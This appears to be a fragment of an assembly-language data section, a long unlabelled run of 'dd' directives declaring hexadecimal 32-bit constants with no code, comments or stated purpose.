		dd 0B91081AAh, 3A60240Bh, 13332108h, 55C20F53h,	615F1690h
		dd 96E8CE10h, 5B41324Dh, 0BBF22Eh, 0AE6FB3Dh, 38048D14h
		dd 0F10025F0h, 2CB9053Fh
		dd 29D343E9h, 0F65A1E6Fh, 394D50BFh, 1C502240h,	1C110C30h
		dd 0C101C344h, 0ED610E8h, 4C7E1E98h, 21580325h,	36EBE7D4h
		dd 64C036BBh, 0C6C23D87h, 6829501Bh, 19182128h,	0A1011358h
		dd 17381B57h, 0DF9BC08Bh, 0BDF4449Ch, 6084BED7h, 984D96CCh
		dd 0BC81FAD9h, 509E2C47h, 0DF8AA885h, 2162B490h, 45B2B800h
		dd 0B6FC9B06h, 35200C0h, 78B14A3Dh, 18799F4Bh, 5F25B713h
		dd 0B680E6E8h, 0DA5B6BA8h, 0FAE88709h, 6E07161Ah, 0B7C46F71h
		dd 1D22C2D9h, 44ED9D10h, 89B98420h, 0F7816000h,	0FE7B288Ch
		dd 0D3389009h, 2C4DE8C1h, 116416C5h, 0C7C00B52h, 5A39565Eh
		dd 69C00E9Bh, 96CAB77Dh, 0B3535007h, 5C6B5F2Ch,	0F952DC8Ah
		dd 3ACD4076h, 55C01664h, 3996F1h, 4F00B0B8h, 0A8019E74h
		dd 5851788Ch, 2E24D029h, 258BA3C9h, 8C0816Dh, 8F36C4Eh
		dd 65676130h, 260A8108h, 25E51C71h, 1F423DCh, 3571D8FAh
		dd 6A5140EDh, 39F33798h, 63054D50h, 0A2C48689h,	3AD92787h
		dd 630DCD8Ah, 0E28DDD36h, 0D20077BBh, 9C4EF80Ch, 0EADB1Ch
		dd 28421961h, 0B245165h, 0C2832209h, 70FAFB04h,	87EA7C7Dh
		dd 0AF115901h, 26C18531h, 20508900h, 0C043EDB5h, 97B5D9C1h
		dd 9DF68750h, 0F784D54Fh, 0D7DDC0BFh, 0BBFA54CEh, 462D850Bh
		dd 1EB8017Eh, 6F2AAFC7h, 0D4F35FE9h, 5519AF48h,	3986C72Eh
		dd 0F88A0B90h, 0DED1746Ah, 75F29000h, 556B6289h, 0D6A055Ch
		dd 0D5159D0Bh, 0A0A564AFh, 0B317DA47h, 18CD6195h, 89E4DB3Bh
		dd 0D73780D9h, 9F19325Ch, 4A564A10h, 0A2491C00h, 9690EC53h
		dd 0E02D660h, 0A273CEF3h, 311B0762h, 3BD03C0Eh,	1287E77Ch
		dd 0BB01B66Fh, 5AA35231h, 2F605770h, 8B108C0Fh,	96F8F88Bh
		dd 0C38F4DB5h, 3A82888Ah, 121DF860h, 19D88981h,	2E9CA52Fh
		dd 3602DC48h, 39227C88h, 3B8BD752h, 7C04A32h, 0D0131BE0h
		dd 0B8472A7h, 90DC904h,	8CDB8100h, 304AD0D7h, 790BB182h
		dd 25522746h, 38DCA996h, 4E809582h, 10D96277h, 0D105E781h
		dd 534C271Ch, 5FD5AD1Eh, 0FD870056h, 1B8D3591h,	0F8CE128Fh
		dd 0DA7082B0h, 54605322h, 48281004h, 1F9D10ACh,	0A75B6115h
		dd 4A048896h, 0ECD6AC00h, 0D2480425h, 95212789h, 5AC61E3h
		dd 0CCB9FE8Bh, 9408788h, 0A70ADDB5h, 4F3525D7h,	0C9BD1E01h
		dd 55208A12h, 8D291EF8h, 0B2C3F5CDh, 0E6D000ABh, 0DA292001h
		dd 7DEF261Dh, 5A50825h,	0AC445B12h, 1E1314D9h, 4CD7400h
		dd 801E9E3h, 0F4702F02h, 87D5B795h, 336A830Ah, 0BFB866C0h
		dd 96A105F5h, 0F4981606h, 93EB11Dh, 887E05A9h, 13A6ABC0h
		dd 0D8EC00FBh, 7AFFDAE3h, 0C6665B68h, 7144FA41h, 85C78015h
		dd 43AAC5B8h, 8E603BEFh, 0FACBB0BBh, 378B4875h,	0F2C4E907h
		dd 0BD2913FFh, 2020ABC5h, 9DC18BF8h, 7F034237h,	0E08C9461h
		dd 9047AC11h, 9E099761h, 2DD08FFBh, 7CB67F28h, 9F50723h
		dd 0B04AC781h, 880F7A9Ch, 5B2FACFBh, 90E88004h,	1E807CA8h
		dd 5BF1E435h, 0A0EA3801h, 0EF58E0Ah, 0FEAAA7DCh, 6E893FA9h
		dd 8A0F5089h, 2A567A12h, 0CF54DA90h, 90582D5Ah,	0AE70BAD3h
		dd 95892D52h, 42BF3072h, 7037F374h, 5401B584h, 75CBBF19h
		dd 73604968h, 0BC64BD35h, 22CC1097h, 4B2500BDh,	2F8A1AAAh
		dd 911823DAh, 0FAD45DE3h, 4DCFA15Bh, 0FB74B0C5h, 84614E53h
		dd 0F5288109h, 8B90002Ah, 85062F9h, 951919Dh, 11BD2B02h
		dd 9EFBDE0Eh, 0EBB7E5D9h, 7FA7B380h, 48E01BD0h,	8A4B45BDh
		dd 9DE65EA8h, 29682A0h,	48252803h, 4B69E46Dh, 7BA98DCCh
		dd 0BF04E66Eh, 0E2E88FE5h, 1086001Ch, 183E06EEh, 8C901DABh
		dd 0C928CB40h, 0D1FF2A02h, 0B1E0804Dh, 92CEBFDh, 64CA30B6h
		dd 0FB14FBA5h, 9BF55E60h, 9D8700C5h, 201C93CBh,	0CD01E2FAh
		dd 3C71A12Bh, 283A2E92h, 608A511Ch, 833005C4h, 0E459DB0h
		dd 6002BAA8h, 0D9EE8101h, 6101E823h, 1371D17Bh,	0CBB7DA9Dh
		dd 2F1D9A83h, 2A21E837h, 0BBB71B9h, 167C84A2h, 805393B0h
		dd 8E8BC72Ch, 790F0409h, 4D5762ABh, 4018ED12h, 2EACE293h
		dd 0FACD1C24h, 0E6A58A9Ch, 87279187h, 803E56BFh, 12F9581Bh
		dd 94919A00h, 96978E7Ch, 0CB4D160Dh, 0FDE33063h, 623F8587h
		dd 6C35804Fh, 505FE8C0h, 3A120BBFh, 43C2529Ch, 73DB09D7h
		dd 49CC254Fh, 1075F2A2h, 0E3FFB7C7h, 0E64D252Fh, 3809E1C5h
		dd 0EBE9E820h, 2040B814h, 0D792DFBh, 0CF0C2F3Dh, 9DE15C8Fh
		dd 5F5C6862h, 0BF2055C4h, 0B0592CC8h, 81F45B9Eh, 107062E6h
		dd 0E4021E95h, 0A9510571h, 75257E71h, 6550E62Eh, 0CC60552Bh
		dd 27B5977h, 0F97B2400h, 9FF66CA3h, 958B1C1Dh, 3CC06025h
		dd 0BD33C8B6h, 3A1CE01h, 0E053BED2h, 0DA6E62BBh, 31C28DC2h
		dd 70E62977h, 0F2094E6Dh, 71844B8Bh, 809E4CFCh,	9A78AAB1h
		dd 0B40770EFh, 0D42C7131h, 27F09600h, 34C84E2Bh, 1F5092Ch
		dd 0C3BF567Ah, 2DED8EFCh, 237B18E9h, 27C0049Fh,	0C6FCCB68h
		dd 0F84806FAh, 3AD0B01Ah, 4B067D32h, 8BA6DE85h,	46E88F0Fh
		dd 6EBC5B53h, 78C2A209h, 0CEBDB88h, 87C3CD85h, 0E156C7Ch
		dd 4E315B41h, 973B1431h, 947A99ACh, 2BB1E44h, 28A40B27h
		dd 0B2D35DE9h, 12E5AA7h, 0B9E70E2Ah, 0C5D82BDEh, 3B6AF13Fh
		dd 93F858Dh, 967B2E27h,	0BB033411h, 6B3BA76Dh, 1A82A5F2h
		dd 475460FEh, 0F4C6EE40h, 0E9644AD6h, 599D84E7h, 95EA614Eh
		dd 0BD604B90h, 0B3974831h, 53D28AAAh, 58A501A7h, 0C878C253h
		dd 0E5046EDFh, 890FFCC8h, 0A08B95FCh, 0FB9D9425h, 97BB8E40h
		dd 0B754AAE7h, 53975DCEh, 8D8E500Bh, 6B366604h,	8C81AFD9h
		dd 4042D99h, 21345FFh, 0F50F4DB9h, 2A003D3Dh, 1793820h
		dd 5B4E16F1h, 2D1805DFh, 0B9CB240Ah, 66BC79h, 50588C88h
		dd 3C7FE36Bh, 2B7E02Fh,	76FCDE99h, 0F500DCBAh, 3514B261h
		dd 9385E12h, 0C02B9097h, 8917521h, 0E4ED49BAh, 0FB123AC3h
		dd 88F37E5Fh, 89D6DBD2h, 0F92B02CAh, 0D0B1FB33h, 0EB00E3B7h
		dd 89AA785Ah, 9C73ABE9h, 880D0BC4h, 9AA7BB71h, 0BC48439h
		dd 7A5B8857h, 0C78F8A04h, 0B3BD3A6Ch, 0ACD5F9D7h, 20E45FABh
		dd 0C691BC7Dh, 81D0E500h, 6F58C134h, 3A119589h,	0C02B2F5Bh
		dd 0EB8D0913h, 906E9B57h, 0A2E8DF00h, 77CA353Ch, 851F3E24h
		dd 8B52A912h, 0A58DC0E2h, 1A6E6F3Fh, 13020301h,	6B8B0FD7h
		dd 0CADF0533h, 4F02C481h, 0D6D440E8h, 7BFBE029h, 0DD393B98h
		dd 0B85B1C8Ah, 0D9EFDB2Dh, 0D1202EBFh, 335250h,	18919613h
		dd 21B6CF84h, 92D9C402h, 82565FF9h, 0F197188h, 5FF1F312h
		dd 30855EDBh, 36E5801Fh, 0E14BFF5Ah, 0A921E4CAh, 24D480AEh
		dd 63A66AFh, 2E6D0723h,	82318D25h, 5E0EB7A5h, 148C51E9h
		dd 328D8881h, 86B12D7Ch, 57BF1043h, 456A137Bh, 92EFDB60h
		dd 1C41EF1Dh, 8102D994h, 0DBC7162Fh, 2DD86EBh, 2F1125B8h
		dd 0DA98E4E4h, 87D90945h, 0FE253626h, 173AB2E9h, 87078A62h
		dd 93B88B17h, 65DC0BF8h, 5BEDA9h, 50AE73A5h, 98FED082h
		dd 7186D369h, 17B7ADC4h, 4EAAE17h, 0C3456EEBh, 1E1F3D6h
		dd 14683050h, 880EE888h, 7500115Fh, 0E1FB36F6h,	0C28350Ah
		dd 7A13F7AEh, 2402046Ah, 3CCCD781h, 247056E6h, 0ADF91549h
		dd 2AC7007Eh, 68258C96h, 792574B9h, 4606C023h, 0B8667777h
		dd 0C6D203Fh, 718519Dh,	0D0BABDA9h, 0B61F2027h,	0C295F101h
		dd 4AFBE19Ah, 767373h, 15224088h, 7B3FE764h, 87718FFEh
		dd 5F93CF12h, 14B2CEF6h
		dd 0C938CE31h, 0EDA12920h, 4BDD2CC9h, 0F82BC58Ch, 0B3F7C0ADh
		dd 225E9F9h, 3FF427B4h,	0E1005C2Fh, 80EE903Dh, 9A97A6CFh
		dd 95B7FDBCh, 0D6F51012h, 804C9E2Bh, 11C8274h, 0CD304BBEh
		dd 492F28CFh, 0B38D4B1Ah, 89253338h, 0DE02F4h, 2865B9ECh
		dd 0AB744A3Eh, 89565C06h, 486D5D9Dh, 3C01B5Bh, 3DD78C95h
		dd 9E6EF607h, 8F103CDBh, 0D05C7BD9h, 0CB49CBA2h, 0A0CE8A4Bh
		dd 3BBFAEBh, 6E2D3D8Ch,	649E854Bh, 0E4285125h, 13B700C2h
		dd 0B1E1BB50h, 2EBC4B61h, 0E59D3306h, 0A41297C3h, 0E178A2FBh
		dd 0FA8E00C9h, 68FBA440h, 3D25266Fh, 9592904Eh,	0C2C400B4h
		dd 50A51B3h, 5D028986h,	26B7CA75h, 90CA48B1h, 4E222E25h
		dd 9702DE0Ch, 5595C29Eh, 1B960A6h, 0D59D1229h, 5DF4F721h
		dd 1DC0B865h, 4187DB17h, 1418016Eh, 0A137301Bh,	81E427B7h
		dd 50F8EDE0h, 0FFB42760h, 6D7D42C2h, 1317E04Dh,	0BF06A89Ah
		dd 7E9DA80h, 0E11E001Fh, 0E45EA57h, 8E510FC8h, 0FB76422Ch
		dd 0DB253A65h, 0A8975073h, 1D55B212h, 4FD2804h,	9B2AA2B1h
		dd 0B5B882B2h, 319582A0h, 0B0440902h, 0FB275600h, 308E5F40h
		dd 0EED513F2h, 0D934EBF1h, 0A6F42ABCh, 3590A072h, 0C429ECC6h
		dd 0BC1E3180h, 482AA30Fh, 5519B433h, 0C23AAF17h, 9F453D4h
		dd 43A3F628h, 2FDDFF79h, 0FB40306Dh, 487BD5C1h,	0E52F1968h
		dd 21BD91A1h, 0FC382F0Fh, 0CCED8AE5h, 0C7076DC0h, 8BE2A5D4h
		dd 301F04B9h, 1D841511h, 8045E8E8h, 0FB3CA8D1h,	1C5A0047h
		dd 119E8439h, 0E801BB26h, 517A4EEEh, 0EA888553h, 5B122AA9h
		dd 9A4F9DA7h, 0A51A80F6h, 5EC4D614h, 39918894h,	8F6F960Eh
		dd 95280D2h, 64257h, 0F13C7E1Ah, 0C5DB623h, 0E84A199Dh
		dd 58010E39h, 5FD20EEFh, 0E1313E20h, 5B7CB529h,	3B62F692h
		dd 43125EBDh, 6A5F66F7h, 0BA0073ADh, 21DBA970h,	5F40F637h
		dd 0BBEE80C0h, 0F802886Eh, 0B3310F6Ch, 98A2967h, 7C04DE47h
		dd 7FB40654h, 0F8892ADh, 36C46880h, 2AB869h, 0E652F57Ah
		dd 3C84E733h, 8A9D374Eh, 0BE6A7Bh, 0AEE87B55h, 24EAAB7h
		dd 0D781DEFEh, 5E0C794h, 9D27BB66h, 648D4DCDh, 0B9EA6017h
		dd 8B2213FBh, 4B85A3D9h, 0C9A757D4h, 2586A9A0h,	0F331C605h
		dd 0B6ACC4E7h, 7CA5A892h, 0BB5E85FCh, 27C188h, 0EB8FFEE1h
		dd 65509256h, 886AC900h, 4C995160h, 0FA5F6F70h,	9ED30769h
		dd 41CA6DADh, 30B2985Dh, 4A178821h, 8DE0C91Eh, 935E821Ah
		dd 710D5327h, 96D3F07Fh, 0C5F8B76h, 0D30921C7h,	0E0B52593h
		dd 0FA8ABD04h, 88D77EE8h, 0BB00C022h, 7CC47EF2h, 4EA230DEh
		dd 0EE6694F4h, 0F60EA57Ah, 0A68BFFB9h, 0AFBCC398h, 690AAD00h
		dd 0E83361C4h, 9F4EAB6h, 92EEE48Ch, 0C989A256h,	0BE017B0Fh
		dd 0A185BD12h, 9E910020h, 3AF9EE97h, 0DC9A7975h, 0E69C58C0h
		dd 3F053AD5h, 0F97795D4h, 385C20BBh, 5E00D9C8h,	0A6A076B5h
		dd 8CE38Ah, 500396A5h, 38AB0DBFh, 4A183A4Dh, 8AE6C9A6h
		dd 10320927h, 43A23Dh, 0D9D4532Ah, 0A07EB6C2h, 6EFE5E09h
		dd 0D50060D6h, 0F84E8A0Bh, 0DB816604h, 3DE8A30Fh, 0C0BE60C2h
		dd 207AF741h, 2A40ED2Ah, 44149D61h, 0F23C3E45h,	0BB70FAD2h
		dd 69D147EBh, 73D3F750h, 13914570h, 299DA2Dh, 4D16F5EFh
		dd 5CDED140h, 91FEB597h, 694B8216h, 0E19582BBh,	4279092Dh
		dd 0E6810F89h, 9AF85971h, 18C1AB8h, 0FAF5924Dh,	3A792B65h
		dd 0FE8A1931h, 6515283Ah, 80F83D9Dh, 9721BBA5h,	702FB353h
		dd 0A42A80C8h, 27B589B6h, 124E05D1h, 70BAD395h,	0B526A1C7h
		dd 0E53B0A6Fh, 5AC2CD64h, 84297440h, 0E924699Dh, 6F0CFD27h
		dd 3F1E0008h, 927C5828h, 0BF13666Eh, 5B307563h,	7FB5D5Fh
		dd 73403FC6h, 0F1CC5776h, 0C4FFF1CBh, 9F0481BBh, 0C18B565Dh
		dd 2B1420AEh, 0CC0041F3h, 3E63AA4Ah, 4FF2B9D3h,	0F7A380E4h
		dd 0A55B850Bh, 60E9ECB4h, 96E83924h, 65B73710h,	121751DAh
		dd 3EF5C0DAh, 0A561008Eh, 0FE36D464h, 5F0C8F3Fh, 21D666A7h
		dd 0EDBA3E43h, 0B707C680h, 0E8589955h, 9C80403h, 0D09450B9h
		dd 1FFE4D1Ch, 85E2D9AAh, 0BB5CD0F7h, 6CDA2Ch, 896F477Fh
		dd 0A18C03BAh, 22E2CC17h, 7B00E4BCh, 24E420CDh,	0BC1D7892h
		dd 0E880CA7Ch, 0C1AD8F28h, 16360580h, 0FA76C67Ah, 7E0BA00h
		dd 0CBE0ECFh, 0EB5B9A52h, 0B9000F10h, 0F057974Fh, 0F2E3B6D2h
		dd 0A61600D7h, 91C77445h, 0EF009302h, 0C8DF17FBh, 0C376AA19h
		dd 0B997BB15h, 9C5EFE95h, 0A1C4FDh, 0E64C8C48h,	4AFAAD6Fh
		dd 9774A400h, 1B359F5Fh, 257B18C8h, 466A3003h, 0A5FCCF1Bh
		dd 0E11DB141h, 0B5769720h, 80F787C2h, 0C26081B5h, 41EF00A6h
		dd 6DE90561h, 0C017BB7Ch, 2B55267h, 0BF04A508h,	8AAA1AE8h
		dd 8602DE0Dh, 1DD2E4Fh,	0B15E0610h, 712F7300h, 0A5936B5h
		dd 52E42D24h, 0B3C0B75Ah, 0BCE18DADh, 0FE91004Fh, 5DDE8421h
		dd 7107B09Eh, 19F028C1h, 804F2C47h, 499AB41Eh, 0D91500F9h
		dd 278C91F1h, 0F1F1A3Bh, 0D86D4586h, 95857526h,	0DC0B7852h
		dd 80DAF430h, 47873F48h, 1382A8F1h, 1E570033h, 6C315DFFh
		dd 8000417Dh, 0DF1FD730h, 3A4B8369h, 0E706A78Bh, 0E2499F0Bh
		dd 676EB522h, 458A6E39h, 288740E3h, 1CD83604h, 5876DC01h
		dd 3369DA8Bh, 5D1E28EBh, 4A660B9Fh, 0E57401C3h,	546F253Dh
		dd 4B8F07B6h, 924170A7h, 98036838h, 116353Eh, 14FBE888h
		dd 0AE183DD8h, 6A46868Bh, 520845FEh, 3A7608E1h,	21877AADh
		dd 75169298h, 0ED8143F8h, 81297FCCh, 745A7695h,	0CB7F9CB4h
		dd 37B5388Ah, 8FA0DDC9h, 0A98307E3h, 50889F5h, 46B05E32h
		dd 61495502h, 0DFC06EB7h, 0EA2AE2h, 669C7240h, 53D3CDC9h
		dd 7727C53Fh, 0AFDBFB01h, 9BF7D5F6h, 487797E8h,	0B91C99A3h
		dd 0CFEA0130h, 96DF287Ch, 0A5E875CCh, 0CC4DE3Bh, 0AC582400h
		dd 0F9F8B6Eh, 85E00021h, 4BF82B41h, 2F03127Ah, 9D73C3E5h
		dd 79F9D867h, 0F0C95BA9h, 6E00BD52h, 3FDC87DDh,	2DF8D4F6h
		dd 43F06471h, 0D011CD05h, 17FF3181h, 244DEC3Fh,	31307175h
		dd 0D4B06Ch, 6DAC6881h,	6345963Ch, 70314700h, 7B0F37ABh
		dd 0B1980553h, 0BE5161E8h, 0E10AC601h, 0BFF4E525h, 0B9C75407h
		dd 665EAA2h, 0D206B509h, 1F0060F4h, 5EFC1D33h, 7E6F32h
		dd 0A8E8746h, 3E39E80Eh, 0B2C04454h, 20C644B7h,	95EE225Ch
		dd 0D116649Ah, 0D6ED4D58h, 4FFF3E01h, 6EA6669Eh, 5CECE6C0h
		dd 767CAEh, 8EFA583Dh, 2BEA22CBh, 39D07A00h, 5589BF6Fh
		dd 0F9353CD9h, 109B9329h, 7C8CDC50h, 977498AAh,	0ED9640AFh
		dd 32461280h, 3F6F3700h, 0F2EA4415h, 25A4863h, 0B6ADA12h
		dd 8E01C2B4h, 0DC5FB506h, 93006F92h, 77F99FFBh,	6203728h
		dd 62B6850Ch, 12001E7Dh, 11D65632h, 601BA87Bh, 0EAEF18E5h
		dd 5460883Bh, 9BB5990Fh, 74E20448h, 0C158C623h,	0CD6EAD42h
		dd 73A982A4h, 0FFEC2CC3h, 0E9656D80h, 0FD0015BFh, 461FBF8h
		dd 401E46Dh, 0CC7CAFC5h, 0BEBBC01Eh, 9201300Dh,	91BDE52Eh
		dd 0DD41E751h, 2880813Dh, 0E187A3D6h, 0B2A0317Fh, 7305095Fh
		dd 7A56F63Eh, 0CB00A0BCh, 2E26F750h, 0FB5472BAh, 9F512ABCh
		dd 0AC2C8191h, 0F442823Ah, 1F0F60h, 0C67FEB37h,	87DAB66Ah
		dd 6FAE6600h, 77A4CE0Ah, 212701C4h, 1834EBCFh, 0CFA02AD8h
		dd 70C30292h, 0FCEF491Ch, 0F0B94441h, 33188053h, 221648DDh
		dd 4587000Eh, 24A4C0E2h, 59008AE0h, 40C905E9h, 1F852291h
		dd 0F27F7Dh, 972475A6h
		dd 9F01A541h, 2BA28E03h, 4322E4E8h, 0AEA94612h,	93358304h
		dd 0DB68B920h, 826A1C3Eh, 0CD0D21E5h, 30E0557Bh, 0C90060CAh
		dd 0DE86CFEBh, 6E4D6h, 2DA40ECEh, 7ECDEC1Dh, 43C82A02h
		dd 0F55B77F6h, 0BB52EF00h, 61EFC303h, 0E69F2C1h, 0D826ADC7h
		dd 4C9800B3h, 0F09EE092h, 0BC008923h, 3DBB8EC4h, 0B94B63Fh
		dd 8844A5F8h, 0D4102800h, 4A7CA214h, 610F1700h,	0D1FF91BFh
		dd 0B6A80302h, 426AF00Ch, 8621E390h, 95C8A401h,	0C979B874h
		dd 0B9681674h, 0EC6216EDh, 8911BF3Ch, 44BAB5E6h, 5F06C037h
		dd 0A573EBEh, 1BC781E7h, 3C22EF90h, 0EC841440h,	8B0620B0h
		dd 5FC4833Ah, 0F97BABF6h, 0A1E40E7h, 0AB68155Ah, 8F0B3701h
		dd 44760842h, 0BA058379h, 38584162h, 86801C94h,	686F0FB9h
		dd 8D002843h, 0CF63F17Ch, 592F1F02h, 0DD6115B8h, 0A4924D98h
		dd 67E63Bh, 0E24F4250h,	0FA3F8D34h, 6284077Fh, 8073E33Ah
		dd 51E8BB1Ch, 0AB141900h, 9E937769h, 79470061h,	0B816564Bh
		dd 0AF3F320Dh, 6700F014h, 931B4A81h, 4C7DE79Dh,	75005DF8h
		dd 29D49EBFh, 5100C6D0h, 1372DB3Ch, 54BE53h, 0D96A7DE6h
		dd 90A726D8h, 0CC2A1600h, 706EF702h, 2228016Dh,	1B9AA22Bh
		dd 0E078C1DAh, 4600F077h, 0BD704E67h, 2620140h,	64F86BCEh
		dd 0D9C02072h, 450076D0h, 0F73D7DA5h, 0B68501Fh, 30C3CE70h
		dd 0B381FB59h, 0D8BB90D4h, 50E88EF9h, 69330FBFh, 0F9937F1Ch
		dd 0BBB81Ch, 0B787FF5Dh, 8BF3D4DDh, 6652DE1Fh, 5F5AAC1Dh
		dd 70E9FB56h, 0E11FBCF5h, 0F480DC85h, 8D89092Ch, 0CC116BB5h
		dd 6000B744h, 0E3589527h, 96C05Ah, 50DE9CB0h, 887D86B1h
		dd 3149CD17h, 4D6AB70Bh, 9F40EFB4h, 62D5DE5Bh, 0AB32FF28h
		dd 0B0640C13h, 6605DCB9h, 1581CBFh, 0ED99BBAAh,	1A7E250Eh
		dd 0CD2EC039h, 16C21D1Fh, 0E1A89D52h, 0E44CA714h, 6C860083h
		dd 0C7F4BDEBh, 630520FBh, 0F5A719ACh, 9AD878A8h, 5F504393h
		dd 134E99A0h, 9D8B7342h, 2D145E7Dh, 6CCBF046h, 84CD59FEh
		dd 0C4F8BF0Fh, 0E0FAB679h, 99DB7C7h, 1314507Bh,	8B8B7CF9h
		dd 478759F8h, 9B5E0B89h, 0A84502F4h, 0EA601B50h, 5D71415Dh
		dd 26A5F89h, 8C71F0F3h,	0EF3FC13Eh, 9D047BA8h, 0EA1328DDh
		dd 2FB29712h, 7280A63Dh, 0D7E3C36Ah, 0FA01393Ah, 0B3D41DD1h
		dd 0B33857A3h, 911C3281h, 0C69AE4A6h, 2A05F871h, 5F5B1E3Ah
		dd 8909D8A3h, 0A57F75B5h, 0BFAC1793h, 66416E1h,	19C12D9Ch
		dd 0FA00F53Dh, 5E839E26h, 3368173Fh, 20CA89A1h,	3713082Fh
		dd 0CA00F107h, 0D40BA653h, 57252D51h, 6025D766h, 22B756FCh
		dd 0FC615A94h, 0DC240FC3h, 15B9E050h, 0A13AA25Ch, 711005C7h
		dd 6B746E0Dh, 345B5F35h, 6985A3B8h, 28C8AE6Ah, 893614A4h
		dd 0F462DBADh, 5F0306F5h, 0D5FABC23h, 4BE6A82Fh, 1BF2C7B3h
		dd 3DFF330h, 14F18769h,	6E139542h, 58B82555h, 19F781A0h
		dd 6EE101E2h, 0DFFC0C34h, 91A97B87h, 0CCBE563Fh, 0C390EC08h
		dd 5BBD0160h, 3809FF6Ah, 56DB05BDh, 5F73ECEEh, 0AC02526Fh
		dd 0CF86AD9h, 0D838417Dh, 2602626Eh, 4C5D882Ch,	0FA870121h
		dd 6DD609B0h, 0D070E662h, 34482DA0h, 308506C8h,	0FE0019B7h
		dd 0DF83806Ch, 4F5A6A86h, 8531F080h, 3B0E412Dh,	0EF034EA2h
		dd 0B3E47FDBh, 0C02FD089h, 6406669Bh, 6CC4EE3Eh, 0B85F4F40h
		dd 0B585C280h, 160001Ch, 95AF595h, 59A3AAD5h, 18FEF727h
		dd 0AD0BFC25h, 9800D4C4h, 0ED0C7D22h, 33219B1h,	0FBF385CEh
		dd 52F0FD8Ch, 5B7918Bh,	4BB2B22h, 0C4386242h, 9543474Fh
		dd 8B0C781Dh, 401188D1h, 1995E926h, 9251DDDDh, 926B858Bh
		dd 0F3D6F80Dh, 0B41F0634h, 0BB020551h, 1BCDB5BFh, 0E91E6D6h
		dd 0CE2FC26h, 48653141h, 97DF8B88h, 26B19871h, 626B2755h
		dd 7A1031D6h, 0B77B814h, 0F9BD8960h, 0A1F673C2h, 614F98EFh
		dd 2EA55183h, 27FC43Ah,	6D9D0363h, 4C2D7B76h, 0E47A22D3h
		dd 0E401345h, 0E47E37B9h, 0F6E207ADh, 21B50245h, 6B8A98C5h
		dd 9D6AA7B0h, 0F48087B7h, 7F905406h, 0DDF15A43h, 0B79A6BEAh
		dd 9AB08480h, 8005A937h, 0A2513BA4h, 0EF3C5DACh, 90EE891h
		dd 0F51B9203h, 0F1493E18h, 4450648h, 35199D33h,	21B9EF91h
		dd 0F6D1132Ah, 85BEE4F6h, 5EF4A837h, 0C804A26Eh, 0ACEA43E2h
		dd 0A67C8009h, 3A3E25AEh, 6680A9BDh, 0BF0C2751h, 0CE255484h
		dd 2AF4137h, 375FFC02h,	45E90DEh, 60BDE6CFh, 99801DA8h
		dd 0A5DE2B64h, 1F371000h, 50F0A907h, 0D7294833h, 4C4443DEh
		dd 0E0F099ADh, 190FB938h, 0A0F590AAh, 25A0CBCCh, 0E02BB561h
		dd 852EB75Fh, 0ADBA4158h, 5EFF802h, 86EEF2BFh, 0B464B921h
		dd 0F2A8F0FDh, 92C8524Dh, 0E2001BE2h, 93166342h, 5B7151B9h
		dd 0C0056D95h, 0E8136D71h, 2D9E964Ch, 956EC4F9h, 0F0F406BAh
		dd 60661FD4h, 0EDB90B4Fh, 9609A109h, 8159A18Bh,	62F3818Fh
		dd 773ACC90h, 47AE1397h, 0A66201D4h, 68728E4h, 0B87C2DB5h
		dd 821A0132h, 0DDB05D52h, 514960A7h, 6E8E195Bh,	0ED3D7C34h
		dd 0B026B831h, 39B0B81h, 9B18D694h, 4A003ABEh, 55F58FA8h
		dd 0E02B06h, 52843DEDh,	80607EDFh, 66D5E401h, 61784DB8h
		dd 0BB71326Eh, 53BCECE0h, 563D18B7h, 91852A09h,	0FF5F16C8h
		dd 0E0A0B6E1h, 726633CAh, 8AD25BBBh, 90E12245h,	0D3794D2Eh
		dd 2720CA5Ah, 0F61EFEE9h, 632AB301h, 0DAB70FBEh, 843C286Eh
		dd 6FF542A9h, 0FE607609h, 0D01FDCBAh, 9FDFE2BBh, 8040F100h
		dd 0BDFC42EFh, 0D5DACA53h, 8005D3C5h, 45B868D7h, 0E0A8F64Fh
		dd 0E41DE820h, 8436880Eh, 12C25D00h, 0F01BC035h, 0D3E61372h
		dd 0F906F061h, 0B75F0540h, 21436E24h, 8214208Eh, 0D22013E8h
		dd 7DF157Fh, 9BA7CFDBh,	0F5F690AFh, 8000F986h, 19983A54h
		dd 0BAADB501h, 814C9D96h, 755F9AB5h, 102CE1h, 74B35090h
		dd 0B5B797EEh, 5CE82901h, 826EF98Fh, 35320D66h,	0B1C980CFh
		dd 0F020F2BDh, 1EB34113h, 34202BE8h, 4B987698h,	0A8680D00h
		dd 0BB482D49h, 0D35D164Dh, 57A4A02Ah, 4A324A3Eh, 0C80FEDBh
		dd 0A4DEC8B7h, 84138918h, 9D19F1D6h, 70BD36EEh,	356EE5F4h
		dd 2D7F0A44h, 401264DEh, 0B0D6686Ch, 98B7055Ch,	0AB872D2Ch
		dd 6B21A74h, 0FA87A13Dh, 0E0172D3Ch, 41A4968Ch,	9D281F7Ch
		dd 0E9FEEBB5h, 0EC025F2Dh, 5D671618h, 188D00F3h, 0D73DFE1Fh
		dd 0A58BE43Ch, 0C0F7907Ah, 28B60034h, 0B4BD2B19h, 0D90018ACh
		dd 0DF804A8Eh, 5B5F5BBAh, 0B97784F5h, 1F1EC48h,	5ADBAC85h
		dd 6EFCEBC8h, 7BFB7E13h, 71F94B93h, 636C9E00h, 60389618h
		dd 8D2533E2h, 3A302E9h,	0A6C47D95h, 0D3880BF6h,	455400D1h
		dd 0F56F5CC8h, 0D0270935h, 60B77661h, 0B659D03h, 0A77DE59Dh
		dd 9707B4B5h, 0CA30D276h, 0E3CE0DD1h, 79CC676Eh, 5D628954h
		dd 0E9D20E34h, 0EACBC23h, 568778FDh, 0CC2E9724h, 7503231Dh
		dd 0ABC025B0h, 0D2E49898h, 82DD002Dh, 0EC430C2Bh, 0B3909560h
		dd 4E30D92Fh, 8D291A9Dh, 0AAD619C9h, 8A683B25h,	0EB2B0425h
		dd 75920E25h, 0B284D7F8h, 8DBB4005h, 9D5BC629h,	0BDE6E44Dh
		dd 1E353772h, 1B8182A9h, 7E5AE4DCh, 1327D47Eh, 0E8F399FEh
		dd 0FF0A9479h, 0CB1F03h, 0A477C9BFh, 504F5F13h,	984D3DC6h
		dd 0CAC63DCAh, 0B4DA9470h, 2212FCh, 5898A618h, 812D8501h
		dd 0ABCCC523h, 40AE59B4h, 5DB842DEh, 301CEE4Ah,	7DD5056h
		dd 9F248A94h, 0EC1DB913h, 9DDAB59Dh, 0E82DDF81h, 1AE61512h
		dd 3549690Eh, 26C9C03Ch
